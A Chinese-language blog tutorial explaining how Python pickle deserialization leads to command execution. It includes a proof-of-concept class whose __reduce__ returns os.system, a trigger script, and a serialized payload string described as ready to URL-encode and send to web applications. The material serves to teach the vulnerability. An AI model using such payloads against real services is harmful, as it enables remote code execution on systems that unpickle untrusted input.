Python Pickle命令执行漏洞原理 2019-06-04

简介

Python的序列化/反序列化模块有两个,一个是Pickle、一个是cPickle,pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。 “Pickling” 是将 Python 对象和所拥有的层次结构被转化为一个字节流的过程,而 “unpickling” 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构。Pickling(和 unpickling)也被称为“序列化”, “编组” 或者 “平面化”。而为了避免混乱,此处采用术语 “pickling” 和 “unpickling”。

Python官方文档上也说明了:pickle 模块在接受被错误地构造或者被恶意地构造的数据时不安全。永远不要 unpickle 来自于不受信任的或者未经验证的来源的数据。

Pickle模块

Pickle模块有4个主要的方法,分别是:loadloadsdumpdumps

具体用法及传参请自行查看手册,以下简单介绍:

load

从文件中读取已序列化的数据并返回重建的对象结构。

loads

从字节对象中读取已序列化的数据并返回重建的数据结构。

dump

序列化对象并写入到文件中。

dumps

序列化对象并返回字节对象。


介绍完4 个方法,不得不提一下__reduce__魔术方法。

__reduce__

当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。 __reduce__ 被定义之后,当对象被Pickle时就会被调用。它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。这个元组包含2到5个元素,其中包括:一个可调用的对象,用于重建对象时调用;一个参数元素,供那个可调用对象使用;被传递给 setstate 的状态(可选);一个产生被pickle的列表元素的迭代器(可选);一个产生被pickle的字典元素的迭代器(可选);

也就是说,如果我们重写__reduce__并让他返回2 个元素,第一个元素为可调用的对象,比如os.system,第二个元素会被os.system当做参数调用。

构造基础Payload

根据上述的理论,我们可以写出来这样的代码pickle_poc.py

import pickle
import os

class Poc:
	def __reduce__(self):
		cmd = "ls"
		return os.system, (cmd,)

poc = Poc()
pickle.dump(poc, open('poc.txt', 'wb'))

我们建立了一个Poc类,重写了它的__reduce__方法,返回了两个元素,第一个元素是os.system,第二个元素是个tuple,在反序列化的时候,ls命令应该会被执行。

我们使用pickle.dump方法将序列化后的字节写入了文件。

下面我们来写一个反序列化的脚本,来触发漏洞unpickle.py

import os
import pickle

pickle.load(open('poc.txt', 'br'))

首先执行pickle_poc.py生成POC,会发现当前目录下出现poc.txt

然后我们执行unpickle.py对该poc.txt进行反序列化:

然后就会发现命令被执行了。

但是目前的payload是二进制格式的,不太方便在实战中去利用,所以可以使用dumps方法来导出易于利用的payload,比如:

import pickle
import os

class Poc:
	def __reduce__(self):
		cmd = "ls"
		return os.system, (cmd,)

poc = Poc()
print(pickle.dumps(poc))

使用dumps生成出来的payload是这样的:

b’\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.’

这样的payload就可以进行urlencode编码以后在web中进行发送了。

后话

本来想找个demo来演示的,但实在是找不到,也懒得写demo了。

本文主要还是理解一下pickle模块执行命令的原理,如果有理解错误的地方欢迎交流。